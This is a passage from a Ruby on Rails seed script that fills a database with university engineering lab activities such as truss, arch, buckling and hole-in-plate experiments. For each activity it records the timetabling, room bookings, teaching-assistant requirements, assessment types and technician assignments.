$resit_low.id)\n ActivityGta.where(activity_id: a42.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with the method of sections to solve a truss system.\",\n job_desc:\"In this lab, students study the behaviour of a truss element. Forces in each memebr are obtained using strain gauges. Students investigate the force redistrtibution for different loading configuration and use combintations of the latter to validate the principle of superposotion.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a42.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a42.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a42.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a43 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR136\").first.id, code: \"206\").first_or_create!(name: \"Cantilever Truss\",\n name_abrv: \"Trusses\", archived: false, in_drive: true, user_id: 3)\n at43 = ActivityTimetable.where(activity_id: a43.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at43.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a43.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/j7KZhd\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a43.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with the method of sections to solve a truss system.\",\n job_desc:\"In this lab, students study the behaviour of a truss element. Forces in each memebr are obtained using strain gauges. Students investigate the force redistrtibution for different loading configuration and use combintations of the latter to validate the principle of superposotion.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a43.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a43.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a43.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a44 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"206\").first_or_create!(name: \"Cantilever Truss\",\n name_abrv: \"Trusses\", archived: false, in_drive: true, user_id: 4)\n at44 = ActivityTimetable.where(activity_id: a44.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 7, max_week_num: 9, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at44.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a44.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/SXd4jp\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a44.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with the method of sections to solve a truss system.\",\n job_desc:\"In this lab, students study the behaviour of a truss element. Forces in each memebr are obtained using strain gauges. Students investigate the force redistrtibution for different loading configuration and use combintations of the latter to validate the principle of superposotion.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a44.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a44.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a44.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a45 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"207\").first_or_create!(name: \"Two-pinned Arch\",\n name_abrv: \"Arches\", archived: false, in_drive: true, user_id: 1)\n at45 = ActivityTimetable.where(activity_id: a45.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 12, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at45.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a45.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/SALrcj\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a45.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with arches.\",\n job_desc:\"In this lab, students investigate the behaviour of an elastic parabolic arch under uniformely distributed loading. Mid-span deflection is recorded using an analog transducer. Students will find the relationshipe between UDL and reaction force for which no bending moment is applied to the arch. The principle of superposition is applied to the mid-span deflection.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a45.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a45.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a45.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a46 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"208\").first_or_create!(name: \"Suspension Cable\",\n name_abrv: \"Cables\", archived: false, in_drive: true, user_id: 1)\n at46 = ActivityTimetable.where(activity_id: a46.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 11, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at46.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a46.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/Ggzi6e\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a46.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of statics. The ideal candidate should be familiar with suspension cables brideges and the cable-arch analogy.\",\n job_desc:\"In this lab, students test the ways in which a suspension cable responds to vertical loadings. They will determine the relationship between uniform load, reaction force and cable sag and they will investigate the cable-arch analogy.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a46.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a46.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a46.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a47 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1000\").first.id, code: \"209\").first_or_create!(name: \"Deflection of a Beam\",\n name_abrv: \"Bending\", archived: false, in_drive: true, user_id: 3)\n at47 = ActivityTimetable.where(activity_id: a47.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at47.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a47.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/rPsrdF\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a47.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a47.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a47.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a47.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a48 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"210\").first_or_create!(name: \"Qualitative Analysis of Frames\",\n name_abrv: \"QA\", archived: false, in_drive: true, user_id: 2)\n at48 = ActivityTimetable.where(activity_id: a48.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 11, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a48.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/mibPtH\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a48.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of structural analysis. The ideal candidate should be familiar with the analysis of statically indeterminate portal frames.\",\n job_desc:\"In this lab, students will qualitative determine deflected shapes and bending moment diagrams of 2-dimensional elastic beams and portal frames structures as a result of external loading.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a48.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a48.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a48.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a49 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"210\").first_or_create!(name: \"Qualitative Analysis\",\n name_abrv: \"QA\", archived: false, in_drive: true, user_id: 2)\n at49 = ActivityTimetable.where(activity_id: a49.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 50, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a49.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/F1sv5m\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a49.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a49.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a49.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a49.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a50 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"211\").first_or_create!(name: \"Elastic Instability: Buckling\",\n name_abrv: \"EI - Buckling\", archived: false, in_drive: true, user_id: 4)\n at50 = ActivityTimetable.where(activity_id: a50.id).first_or_create!(duration: 120, kit_prep_time: 480, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 210, takedown_time: 210, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at50.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a50.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/zpPBgp\",\n mole_pub_link: \"https://goo.gl/mP6s53\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a50.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a50.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a50.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a50.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a51 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"212\").first_or_create!(name: \"Plastic Collapse: Beams\",\n name_abrv: \"PC Beams\", archived: false, in_drive: true, user_id: 1)\n at51 = ActivityTimetable.where(activity_id: a51.id).first_or_create!(duration: 60, kit_prep_time: 210, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at51.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a51.id).first_or_create!(user_id: 5, g_drive_link: \"https://goo.gl/eaYC7o\",\n mole_pub_link: \"https://goo.gl/GT7qFG\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a51.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a51.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a51.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a51.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a52 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: true, user_id: 2)\n at52 = ActivityTimetable.where(activity_id: a52.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a52.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a52.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a52.id).first_or_create!(assess_weight: nil, notes: \"post-lab MOLE quiz\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a52.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a52.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a53 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR223\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: true, user_id: 5)\n at53 = ActivityTimetable.where(activity_id: a53.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: false)\n RoomBooking.where(activity_timetable_id: at53.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a53.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a53.id).first_or_create!(criteria: \"It is essential for a GTA to have a strong understanding of Mechanics of materials. The ideal candidate should be familiar with stress concentration, principal stresses and strains and Mohr Circles.\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a53.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a53.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a53.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a55 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: true, user_id: 3)\n at55 = ActivityTimetable.where(activity_id: a55.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a55.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/6xWwbb\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a55.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a55.id).first_or_create!(assess_weight: nil, notes: \"In-lab marking + post-lab MOLE quiz\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a55.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a55.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a56 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC202\").first.id, code: \"213\").first_or_create!(name: \"Hole in Plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: true, user_id: 3)\n at56 = ActivityTimetable.where(activity_id: a56.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a56.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a56.id).first_or_create!(criteria: \"Understanding of Mechanics of materials\",\n job_desc:\"In this lab, students study the strain-distribution in a plate with a hole in it, using strain-gauges. The data is obtained using Shimadzu tensometers and Vishay strain gauge monitoring equipment. Once the data is obtained, the students analyse their data using Mohr's circle. A knowledge of Mohr's circle and two dimensional stress distributions is therefore required.\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a56.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a56.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a56.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a57 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"214\").first_or_create!(name: \"Elastic Instability: Buckling\",\n name_abrv: \"EI - GEE\", archived: false, in_drive: true, user_id: 1)\n at57 = ActivityTimetable.where(activity_id: a57.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a57.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://goo.gl/TEpnz3\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a57.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a57.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a57.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a57.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a58 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"209\").first_or_create!(name: \"Deflection of a Beam\",\n name_abrv: \"\", archived: false, in_drive: true, user_id: 4)\n at58 = ActivityTimetable.where(activity_id: a58.id).first_or_create!(duration: 240, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"Needs GUNT equipment\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at58.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a58.id).first_or_create!(user_id: 2, g_drive_link: \"https://goo.gl/NX44Rw\",\n mole_pub_link: \"https://goo.gl/qSTPbK\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a58.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a58.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a58.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a58.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a59 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"218\").first_or_create!(name: \"Normal and Shear Stress in a Beam\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at59 = ActivityTimetable.where(activity_id: a59.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a59.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a59.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a59.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a59.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a59.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a60 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV2100\").first.id, code: \"216\").first_or_create!(name: \"Elastic Instability: Frames\",\n name_abrv: \"EI - Frames\", archived: false, in_drive: true, user_id: 2)\n at60 = ActivityTimetable.where(activity_id: a60.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a60.id).first_or_create!(user_id: 4, g_drive_link: \"https://goo.gl/jckoDt\",\n mole_pub_link: \"https://goo.gl/mKk8xz\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a60.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a60.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a60.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a60.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a61 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE207\").first.id, code: \"237\").first_or_create!(name: \"Elastic Instability: Frames\",\n name_abrv: \"EI - Frames\", archived: false, in_drive: true, user_id: 3)\n at61 = ActivityTimetable.where(activity_id: a61.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 210, takedown_time: 210, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a61.id).first_or_create!(user_id: 3, g_drive_link: \"https://goo.gl/jckoDt\",\n mole_pub_link: \"https://goo.gl/mKk8xz\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a61.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: 